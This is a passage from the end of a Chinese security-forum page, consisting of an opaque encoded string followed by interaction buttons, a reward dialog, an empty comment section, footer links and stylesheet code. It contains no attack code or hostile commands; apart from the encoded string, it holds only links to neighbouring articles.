o4M0t2TYofyZDupu4PWnVgreTpAc3R13vL9qaOx94IiUuQ/KFpH4CcRDNL3/LixXJUlL5+1mIxojkUgLwdYzcSCmF8n2NOsqINh2A8cSSjICVnkDI1hv1lf2fvP3zqIy0B8FWVFiXzgaIx9kpxIpES7PiT25tzEy3Xg2BnNDU1Rx1jIzEFCXiLidCiO3TPSTcA/JzqbJ2scfsxZQ2KrsnkfQezljQkvKLHCV2GnnhSyQNYuSALAb9F9+cglHVpcasZ4e1kUYaaaSRRhpppJFGGmmkkUZeaCJWIig3ZxeYGh5lZjhNv+oTQPiWbjPR7dLSmvmepjcYYrGgXPRAAMxFe0DHBrDVxu/VIXWQxacCCQCPB+cDoFRLw+K9+iUCeylHehgnRCIEZDb0LcUQKU02vr9QhScqRRgoSbhaVusA6wePQ7rnWbb2RCRoG9FZ163QLwcslD1arQIqD4Uai6bADhUYUNp6heGIhUqhqhamo2lbhTKaoQywtoz52EmjO90v2tURH/5I4IR31Aggm8EfQZ/hOVnO8fB2BgIHEDWAqzHPe62HBGgimS4DsBfmEQBMUg538fUFcmIirEVL8JbOAfMMqs/wHWslpj+x2esJtM6B/gR4jkqKzqiDRQI+1RfoDJwOsw2kT3g1RI4EnNTaAKq
</div>
<div class=post-user-action style=margin-top:34px>
<span class="btn btn-default pull-right" id=mark data-action=topic data-pk=15008>
<span id=mark-text>点击收藏 </span><span class=i-seprator> | </span><span id=mark-count>0</span>
</span>
<span class="btn btn-default pull-right" id=follow_topic data-pk=15008>
<span>关注</span><span class=i-seprator> | </span><span id=follow-count>1</span>
</span>
<span class="btn btn-default pull-right">
<span>
<span id=ready_reward data-toggle=modal data-target=#myModal>打赏</span>
</span>
</span>
<div class=clearfix></div>
</div>
<div class=related-section>
<div class=related-box>
<span><a class=pull-left href=https://xz.aliyun.com/t/15006 title="某凌 EKP 前台远程命令执行漏洞分析"><span class=related-label style="padding:3px 4px;margin-right:3px">上一篇:</span>某凌 EKP 前台远程命令执行漏洞分析</a></span>
<span><a class=pull-left href=https://xz.aliyun.com/t/15019 title="浏览器插件Simple Allow Copy 正在监视你的一举一动"><span class=related-label>下一篇:</span>浏览器插件Simple Allo...</a></span>
</div>
</div>
</div>
</div>
</div>
<div class="modal fade" id=myModal role=dialog aria-labelledby=myModalLabel aria-hidden=true>
<div class=modal-dialog>
<div class=modal-content>
<div class=modal-header>
<h4 class=modal-title id=myModalLabel style=text-align:center>
积分打赏
</h4>
</div>
<div class=modal-body id=button-value>
<div style=text-align:center>
<div role=group>
<button type=button class="btn btn-secondary m64" style=min-width:64px data-value=type1>
1分
</button>
<button type=button class="btn btn-secondary m64" style=min-width:64px data-value=type2>
2分
</button>
<button type=button class="btn btn-secondary m64" style=min-width:64px data-value=type3>
5分
</button>
</div>
<br>
<div style=margin-top:20px>
<button type=button class="btn btn-secondary m64" style=min-width:64px data-value=type4>
8分
</button>
<button type=button class="btn btn-secondary m64" style=min-width:64px data-value=type5>
10分
</button>
<button type=button class="btn btn-secondary m64" style=min-width:64px data-value=type6>
20分
</button>
</div>
</div>
</div>
<div class=modal-footer id=confirm>
<button type=button class="btn btn-default" data-dismiss=modal>关闭</button>
<button type=button class="btn btn-primary" id=reward_topic data-pk=15008>确定</button>
</div>
</div>
</div>
</div>
<div class="row box">
<ol class=breadcrumb>
<li class=active>0 条回复</li>
</ol>
<div class="box-container post-container">
<ul>
<li style=min-height:50px;line-height:60px;margin-left:15px><strong>动动手指,沙发就是你的了!</strong></li>
</ul>
</div>
</div>
<div class="row box" id=reply-box>
<div class="box-container clearfix">
<div class=reminder>
<a href="https://account.aliyun.com/login/login.htm?oauth_callback=https%3A%2F%2Fxz.aliyun.com%2Ft%2F15008&amp;from_type=xianzhi"><strong>登录</strong></a> 后跟帖
</div>
</div>
</div>
</div>
</div>
</div>
<footer class=bs-docs-footer>
<div class="container text-center">
<div class=links>
<a href=https://xz.aliyun.com/feed target=_blank>RSS</a>
<a href=https://xz.aliyun.com/about target=_blank><span>关于社区</span></a>
<a href=https://xz.aliyun.com/partner target=_blank><span>友情链接</span></a>
<a href=https://xz.aliyun.com/notice>社区小黑板</a>
<a href=https://xz.aliyun.com/connection>联系我们</a>
<a href=https://report.aliyun.com/ target=_blank>举报中心</a>
<a href=https://www.aliyun.com/complaint target=_blank>我要投诉</a>
</div>
</div>
</footer>
<div id=waf_nc_block style=display:none></div><div id=immersive-translate-popup style=all:initial><template shadowrootmode=open><style class=sf-hidden>/*!
* Pico.css v1.5.6 (https://picocss.com)
* Copyright 2019-2022 - Licensed under MIT
*/#mount{--font-family:system-ui,-apple-system,"Segoe UI","Roboto","Ubuntu","Cantarell","Noto Sans",sans-serif,"Apple Color Emoji","Segoe UI Emoji","Segoe UI Symbol","Noto Color Emoji";--line-height:1.5;--font-weight:400;--font-size:16px;--border-radius:.25rem;--border-width:1px;--outline-width:3px;--spacing:1rem;--typography-spacing-vertical:1.5rem;--block-spacing-vertical:calc(var(--spacing)*2);--block-spacing-horizontal:var(--spacing);--grid-spacing-vertical:0;--grid-spacing-horizontal:var(--spacing);--form-element-spacing-vertical:.75rem;--form-element-spacing-horizontal:1rem;--nav-element-spacing-vertical:1rem;--nav-element-spacing-horizontal:.5rem;--nav-link-spacing-vertical:.5rem;--nav-link-spacing-horizontal:.5rem;--form-label-font-weight:var(--font-weight);--transition:.2s ease-in-out;--modal-overlay-backdrop-filter:blur(0.25rem)}@media(min-width:576px){#mount{--font-size:17px}}@media(min-width:768px){#mount{--font-size:18px}}@media(min-width:992px){#mount{--font-size:19px}}@media(min-width:1200px){#mount{--font-size:20px}}@media(min-width:576px){#mount>header,#mount>main,#mount>footer,section{--block-spacing-vertical:calc(var(--spacing)*2.5)}}@media(min-width:768px){#mount>header,#mount>main,#mount>footer,section{--block-spacing-vertical:calc(var(--spacing)*3)}}@media(min-width:992px){#mount>header,#mount>main,#mount>footer,section{--block-spacing-vertical:calc(var(--spacing)*3.5)}}@media(min-width:1200px){#mount>header,#mount>main,#mount>footer,section{--block-spacing-vertical:calc(var(--spacing)*4)}}@media(min-width:576px){article{--block-spacing-horizontal:calc(var(--spacing)*1.25)}}@media(min-width:768px){article{--block-spacing-horizontal:calc(var(--spacing)*1.5)}}@media(min-width:992px){article{--block-spacing-horizontal:calc(var(--spacing)*1.75)}}@media(min-width:1200px){article{--block-spacing-horizontal:calc(var(--spacing)*2)}}dialog>article{--block-spacing-vertical:calc(var(--spacing)*2);--block-spacing-horizontal:var(--spacing)}@media(min-width:576px){dialog>article{--block-spacing-vertical:calc(var(--spacing)*2.5);--block-spacing-horizontal:calc(var(--spacing)*1.25)}}@media(min-width:768px){dialog>article{--block-spacing-vertical:calc(var(--spacing)*3);--block-spacing-horizontal:calc(var(--spacing)*1.5)}}a{--text-decoration:none}a.secondary,a.contrast{--text-decoration:underline}small{--font-size:.875em}h1,h2,h3,h4,h5,h6{--font-weight:700}h1{--font-size:2rem;--typography-spacing-vertical:3rem}h2{--font-size:1.75rem;--typography-spacing-vertical:2.625rem}h3{--font-size:1.5rem;--typography-spacing-vertical:2.25rem}h4{--font-size:1.25rem;--typography-spacing-vertical:1.874rem}h5{--font-size:1.125rem;--typography-spacing-vertical:1.6875rem}[type="checkbox"],[type="radio"]{--border-width:2px}[type="checkbox"][role="switch"]{--border-width:3px}thead th,thead td,tfoot th,tfoot td{--border-width:3px}:not(thead,tfoot)>*>td{--font-size:.875em}pre,code,kbd,samp{--font-family:"Menlo","Consolas","Roboto Mono","Ubuntu Monospace","Noto Mono","Oxygen Mono","Liberation Mono",monospace,"Apple Color Emoji","Segoe UI Emoji","Segoe UI Symbol","Noto Color Emoji"}kbd{--font-weight:bolder}[data-theme="light"],#mount:not([data-theme="dark"]){--background-color:#fff;--background-light-green:#f5f7f9;--color:hsl(205deg,20%,32%);--h1-color:hsl(205deg,30%,15%);--h2-color:#24333e;--h3-color:hsl(205deg,25%,23%);--h4-color:#374956;--h5-color:hsl(205deg,20%,32%);--h6-color:#4d606d;--muted-color:hsl(205deg,10%,50%);--muted-border-color:hsl(205deg,20%,94%);--primary:hsl(195deg,85%,41%);--primary-hover:hsl(195deg,90%,32%);--primary-focus:rgba(16,149,193,0.125);--primary-inverse:#fff;--secondary:hsl(205deg,15%,41%);--secondary-hover:hsl(205deg,20%,32%);--secondary-focus:rgba(89,107,120,0.125);--secondary-inverse:#fff;--contrast:hsl(205deg,30%,15%);--contrast-hover:#000;--contrast-focus:rgba(89,107,120,0.125);--contrast-inverse:#fff;--mark-background-color:#fff2ca;--mark-color:#543a26;--ins-color:#388e3c;--del-color:#c62828;--blockquote-border-color:var(--muted-border-color);--blockquote-footer-color:var(--muted-color);--button-box-sha